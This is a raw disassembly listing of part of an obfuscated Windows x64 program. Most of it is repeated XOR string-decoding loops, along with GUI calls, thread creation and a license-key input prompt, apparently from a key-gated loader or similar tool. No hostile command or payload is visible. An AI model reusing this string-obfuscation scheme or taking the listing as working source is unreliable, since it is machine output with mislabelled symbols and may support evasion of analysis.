psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
mov eax, dword [0x1400dfef0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.qcX_Er_I_IH]
xorps xmm2, xmm0
movd dword [rbp + 0x128], xmm2
movdqa xmm3, xmmword [0x1400dfde0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x12c]
xorps xmm2, xmm1
movd dword [rbp + 0x12c], xmm2
mov r8d, r12d
movsxd rax, r8d
lea r9, [rbp + 0x128]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140070310
movss dword [rsp + 0x20], xmm8
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x128]
lea rcx, [rbp + 0x3a0]
call fcn.14000a1b0
movss xmm6, dword [rax]
lea rcx, [0x1400db53c]
call fcn.14002fa40
subss xmm7, xmm6
mulss xmm7, xmm11
movaps xmm0, xmm7
call fcn.140012670
movsd xmm0, qword [str.qcX_Er_I_IH]
movsd qword [rbp + 0x14c], xmm0
mov eax, dword [0x1400dcc08]
mov dword [rbp + 0x154], eax
cmp byte [0x1400dcc0b], 0
je 0x140070513
mov r8d, esi
cmp r15d, 2
jl 0x1400704c7
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm2, xmmword [0x1400dfdd0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
mov eax, dword [0x1400dfef0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.qcX_Er_I_IH]
xorps xmm2, xmm0
movd dword [rbp + 0x14c], xmm2
movdqa xmm3, xmmword [0x1400dfde0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x150]
xorps xmm2, xmm1
movd dword [rbp + 0x150], xmm2
mov r8d, r12d
movsxd rax, r8d
lea r9, [rbp + 0x14c]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1400704e0
lea rcx, [rbp + 0x14c]
call fcn.14002fa40
call fcn.140031f70
mov rcx, qword [0x140126fe8]
call fcn.14000f6d0
mov rax, qword [0x140126fa0]
mov rcx, qword [rax + 0x3f08]
movss xmm6, dword [rcx + 0x28]
mov rdx, r14
cmp qword [0x140158350], 0xf
cmova rdx, qword [0x140158338]
movss dword [rsp + 0x20], xmm8
xor r9d, r9d
xor r8d, r8d
lea rcx, [rbp + 0x398]
call fcn.14000a1b0
subss xmm6, dword [rax]
cvtps2pd xmm0, xmm6
divsd xmm0, xmm12
cvtpd2ps xmm0, xmm0
movss dword [rbp + 0x210], xmm0
mov dword [rbp + 0x214], 0x42f00000
lea rcx, [rbp + 0x210]
call fcn.140012610
mov rcx, r14
cmp qword [0x140158350], 0xf
cmova rcx, qword [0x140158338]
call fcn.14002fa40
mov rax, qword [0x140126fa0]
mov rcx, qword [rax + 0x3f08]
movss xmm0, dword [rcx + 0x28]
subss xmm0, xmm10
mulss xmm0, xmm9
movss dword [rbp + 0x218], xmm0
mov dword [rbp + 0x21c], 0x42200000
lea rcx, [rbp + 0x218]
call fcn.140012610
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x14007061d
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
xor r9d, r9d
lea r8, [0x140062a60]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov byte [reloc.WS2_32.dll_accept], 0
call fcn.140069270
call fcn.14000f750
cmp byte [0x140126f9b], 0
je 0x140070639
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x140070653
cmp byte [0x140126f9c], 0
je 0x140070b05
cmp byte [reloc.WS2_32.dll_accept], 0
jne 0x140070b05
mov rcx, qword [0x140126fa0]
mov rax, qword [rcx + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3f08]
movss xmm7, dword [rax + 0x28]
movsd xmm0, qword [str.qcX_Er_I_IH]
movsd qword [rbp + 0xc8], xmm0
mov eax, dword [0x1400dcc08]
mov dword [rbp + 0xd0], eax
cmp byte [0x1400dcc0b], 0
je 0x140070803
mov r8d, esi
cmp r15d, 2
jl 0x1400707b7
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm2, xmmword [0x1400dfdd0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
mov eax, dword [0x1400dfef0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.qcX_Er_I_IH]
xorps xmm2, xmm0
movd dword [rbp + 0xc8], xmm2
movdqa xmm3, xmmword [0x1400dfde0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xcc]
xorps xmm2, xmm1
movd dword [rbp + 0xcc], xmm2
mov r8d, r12d
movsxd rax, r8d
lea r9, [rbp + 0xc8]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1400707d0
movss dword [rsp + 0x20], xmm8
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0xc8]
lea rcx, [rbp + 0x3e0]
call fcn.14000a1b0
movss xmm6, dword [rax]
lea rcx, [0x1400db53c]
call fcn.14002fa40
subss xmm7, xmm6
mulss xmm7, xmm11
movaps xmm0, xmm7
call fcn.140012670
movsd xmm0, qword [str.qcX_Er_I_IH]
movsd qword [rbp + 0xd4], xmm0
mov eax, dword [0x1400dcc08]
mov dword [rbp + 0xdc], eax
cmp byte [0x1400dcc0b], 0
je 0x1400709d3
mov r8d, esi
cmp r15d, 2
jl 0x140070987
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm2, xmmword [0x1400dfdd0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
mov eax, dword [0x1400dfef0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.qcX_Er_I_IH]
xorps xmm2, xmm0
movd dword [rbp + 0xd4], xmm2
movdqa xmm3, xmmword [0x1400dfde0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xd8]
xorps xmm2, xmm1
movd dword [rbp + 0xd8], xmm2
mov r8d, r12d
movsxd rax, r8d
lea r9, [rbp + 0xd4]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1400709a0
lea rcx, [rbp + 0xd4]
call fcn.14002fa40
call fcn.140031f70
mov rcx, qword [0x140126fe8]
call fcn.14000f6d0
mov rdx, r14
cmp qword [0x140158350], 0xf
cmova rdx, qword [0x140158338]
mov rax, qword [0x140126fa0]
mov rcx, qword [rax + 0x3f08]
movss xmm6, dword [rcx + 0x28]
movss dword [rsp + 0x20], xmm8
xor r9d, r9d
xor r8d, r8d
lea rcx, [rbp + 0x3d8]
call fcn.14000a1b0
subss xmm6, dword [rax]
cvtps2pd xmm0, xmm6
divsd xmm0, xmm12
cvtpd2ps xmm0, xmm0
movss dword [rbp + 0x220], xmm0
mov dword [rbp + 0x224], 0x42f00000
lea rcx, [rbp + 0x220]
call fcn.140012610
mov rcx, r14
cmp qword [0x140158350], 0xf
cmova rcx, qword [0x140158338]
call fcn.14002fa40
mov rax, qword [0x140126fa0]
mov rcx, qword [rax + 0x3f08]
movss xmm0, dword [rcx + 0x28]
subss xmm0, xmm10
mulss xmm0, xmm9
movss dword [rbp + 0x228], xmm0
mov dword [rbp + 0x22c], 0x42200000
lea rcx, [rbp + 0x228]
call fcn.140012610
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x140070afb
lea rdx, [0x140124c10]
lea rcx, [0x1401583c0]
call fcn.14007f1f0
mov qword [rsp + 0x28], rsi
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], esi
test al, al
lea r8, [0x14005eeb0]
je 0x140070aee
lea r8, [0x14005f420]
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov byte [reloc.WS2_32.dll_accept], 0
call fcn.140069270
call fcn.14000f750
cmp byte [0x140126fc5], 0
je 0x14007195b
mov byte [reloc.WS2_32.dll_accept], 1
mov byte [reloc.WS2_32.dll_accept], 1
movups xmm0, xmmword [0x1400dca30]
movups xmmword [rbp - 0x70], xmm0
movzx eax, byte [0x1400dca40]
mov byte [rbp - 0x60], al
mov r8d, esi
cmp r15d, 2
jl 0x140070c7d
movdqa xmm5, xmmword [0x1400dfdd0]
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm6, xmmword [0x1400dfdf0]
movdqa xmm0, xmmword [0x1400dfef0]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp - 0x6c]
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140070b70
cmp r8d, 0x11
jge 0x140070cc3
movsxd rax, r8d
lea r9, [rbp - 0x70]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x140070c90
lea rax, [rbp - 0x70]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140070cd0
lea rdx, [rbp - 0x70]
mov rcx, r14
call fcn.14007bdf0
mov rcx, qword [0x140126fa0]
mov rax, qword [rcx + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3f08]
movss xmm7, dword [rax + 0x28]
movsd xmm0, qword [str.qcX_Er_I_IH]
movsd qword [rbp + 0xe0], xmm0
mov eax, dword [0x1400dcc08]
mov dword [rbp + 0xe8], eax
cmp byte [0x1400dcc0b], 0
je 0x140070e93
mov r8d, esi
cmp r15d, 2
jl 0x140070e4a
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm2, xmmword [0x1400dfdd0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
mov eax, dword [0x1400dfef0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.qcX_Er_I_IH]
xorps xmm2, xmm0
movd dword [rbp + 0xe0], xmm2
movdqa xmm3, xmmword [0x1400dfde0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xe4]
xorps xmm2, xmm1
movd dword [rbp + 0xe4], xmm2
mov r8d, r12d
movsxd rax, r8d
lea r9, [rbp + 0xe0]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140070e60
movss dword [rsp + 0x20], xmm8
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0x3a8]
call fcn.14000a1b0
movss xmm6, dword [rax]
lea rcx, [0x1400db53c]
call fcn.14002fa40
subss xmm7, xmm6
mulss xmm7, xmm11
movaps xmm0, xmm7
call fcn.140012670
movsd xmm0, qword [str.qcX_Er_I_IH]
movsd qword [rbp + 0xec], xmm0
mov eax, dword [0x1400dcc08]
mov dword [rbp + 0xf4], eax
cmp byte [0x1400dcc0b], 0
je 0x140071063
mov r8d, esi
cmp r15d, 2
jl 0x140071017
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm2, xmmword [0x1400dfdd0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
mov eax, dword [0x1400dfef0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.qcX_Er_I_IH]
xorps xmm2, xmm0
movd dword [rbp + 0xec], xmm2
movdqa xmm3, xmmword [0x1400dfde0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xf0]
xorps xmm2, xmm1
movd dword [rbp + 0xf0], xmm2
mov r8d, r12d
movsxd rax, r8d
lea r9, [rbp + 0xec]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140071030
lea rcx, [rbp + 0xec]
call fcn.14002fa40
call fcn.140031f70
movaps xmm1, xmm8
xorps xmm0, xmm0
call fcn.140012560
mov rax, qword [0x140126fa0]
or dword [rax + 0x4790], 1
mov dword [rax + 0x4798], 0x439b0000
movzx eax, word [0x1400dd048]
mov word [rbp + 0x970], ax
cmp byte [0x1400dd049], 0
je 0x1400710bd
mov byte [rbp + 0x970], reloc.WLDAP32.dll_Ordinal_32
xor byte [rbp + 0x971], 0x33
lea rcx, [rbp + 0x970]
call fcn.14002fa40
movaps xmm1, xmm8
xorps xmm0, xmm0
call fcn.140012560
movzx eax, word [0x1400dd048]
mov word [rbp + 0x970], ax
cmp byte [0x1400dd049], 0
je 0x1400710fa
mov byte [rbp + 0x970], reloc.WLDAP32.dll_Ordinal_32
xor byte [rbp + 0x971], 0x33
lea rcx, [rbp + 0x970]
call fcn.14002fa40
mov eax, dword [str.yVM58]
mov dword [rbp + 0x970], eax
cmp byte [0x1400dd1bf], 0
je 0x1400711f3
cmp r15d, 2
jl 0x1400711ad
movdqa xmm3, xmmword [0x1400dfdd0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400e0080]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400e0080]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1400dfef0]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp + 0x970], xmm2
jmp 0x1400711f3
lea r9, [rbp + 0x970]
mov r8d, esi
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x1400711c0
lea rcx, [rbp + 0x970]
call fcn.14002fa40
movaps xmm1, xmm8
xorps xmm0, xmm0
call fcn.140012560
mov qword [rbp + 0x230], 0
lea rdx, [rbp + 0x230]
mov ecx, listen
call fcn.140003c20
movaps xmm1, xmm8
xorps xmm0, xmm0
call fcn.140012560
mov rax, qword [0x140126fa0]
or dword [rax + 0x4790], 1
mov dword [rax + 0x4798], 0x438c0000
movzx eax, word [0x1400dd048]
mov word [rbp + 0x970], ax
cmp byte [0x1400dd049], 0
je 0x140071270
mov byte [rbp + 0x970], reloc.WLDAP32.dll_Ordinal_32
xor byte [rbp + 0x971], 0x33
mov qword [rbp + 0x238], 0
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
lea rax, [rbp + 0x238]
mov qword [rsp + 0x20], rax
mov r9d, 0x40
lea r8, str.Input_Your_Key_here
xor edx, edx
lea rcx, [rbp + 0x970]
call fcn.1400340e0
mov ecx, r13d
call fcn.140003cb0
movzx eax, word [0x1400dd048]
mov word [rbp + 0x970], ax
cmp byte [0x1400dd049], 0
je 0x1400712dd
mov byte [rbp + 0x970], reloc.WLDAP32.dll_Ordinal_32
xor byte [rbp + 0x971], 0x33
lea rcx, [rbp + 0x970]
call fcn.14002fa40
movzx eax, word [0x1400dd048]
mov word [rbp + 0x970], ax
cmp byte [0x1400dd049], 0
je 0x14007130e
mov byte [rbp + 0x970], reloc.WLDAP32.dll_Ordinal_32
xor byte [rbp + 0x971], 0x33
lea rcx, [rbp + 0x970]
call fcn.14002fa40
movaps xmm1, xmm8
movaps xmm0, xmm14
call fcn.140012560
movsd xmm0, qword [0x1400dc978]
movsd qword [rbp + 0xf8], xmm0
mov eax, dword [str.hyprad8]
mov dword [rbp + 0x100], eax
cmp byte [0x1400dc983], 0
je 0x1400714b3
mov r8d, esi
cmp r15d, 2
jl 0x14007146a
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm2, xmmword [0x1400dfdd0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
mov eax, dword [0x1400dfef0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1400dc978]
xorps xmm2, xmm0
movd dword [rbp + 0xf8], xmm2
movdqa xmm3, xmmword [0x1400dfde0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xfc]
xorps xmm2, xmm1
movd dword [rbp + 0xfc], xmm2
mov r8d, r12d
movsxd rax, r8d
lea r9, [rbp + 0xf8]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140071480
lea rdx, [rbp + 0xf8]
lea rcx, [0x140124cb0]
call fcn.14007f1a0
xor r8d, r8d
test al, al
jne 0x140071539
mov dword [rbp + 0x240], 0x43910000
mov dword [rbp + 0x244], 0x42480000
mov eax, dword [str.SX7]
mov dword [rbp - 0x2f], eax
movzx eax, word [0x1400dd5e0]
mov word [rbp - 0x2b], ax
mov byte [rbp - 0x2f], Ordinal_79
xor byte [rbp - 0x2e], 0x33
xor byte [rbp - 0x2d], 0x34
xor byte [rbp - 0x2c], 0x35
xor al, 0x36
mov byte [rbp - 0x2b], al
xor byte [rbp - 0x2a], 0x37
lea rdx, [rbp + 0x240]
lea rcx, [rbp - 0x2f]
call fcn.1400303c0
test al, al
je 0x14007195b
mov byte [0x140126f9d], 1
mov byte [0x140126fc5], 0
jmp 0x14007196a
mov dword [rbp + 0x248], 0x43910000
mov dword [rbp + 0x24c], 0x41c80000
mov eax, dword [str.SX7]
mov dword [rbp - 0x29], eax
movzx eax, word [0x1400dd5e0]
mov word [rbp - 0x25], ax
mov byte [rbp - 0x29], Ordinal_79
xor byte [rbp - 0x28], 0x33
xor byte [rbp - 0x27], 0x34
xor byte [rbp - 0x26], 0x35
xor al, 0x36
mov byte [rbp - 0x25], al
xor byte [rbp - 0x24], 0x37
lea rdx, [rbp + 0x248]
lea rcx, [rbp - 0x29]
call fcn.1400303c0
test al, al
je 0x14007159c
mov byte [0x140126f9d], 1
mov byte [0x140126fc5], 0
movzx eax, word [0x1400dd048]
mov word [rbp + 0x970], ax
cmp byte [0x1400dd049], 0
je 0x1400715c1
mov byte [rbp + 0x970], reloc.WLDAP32.dll_Ordinal_32
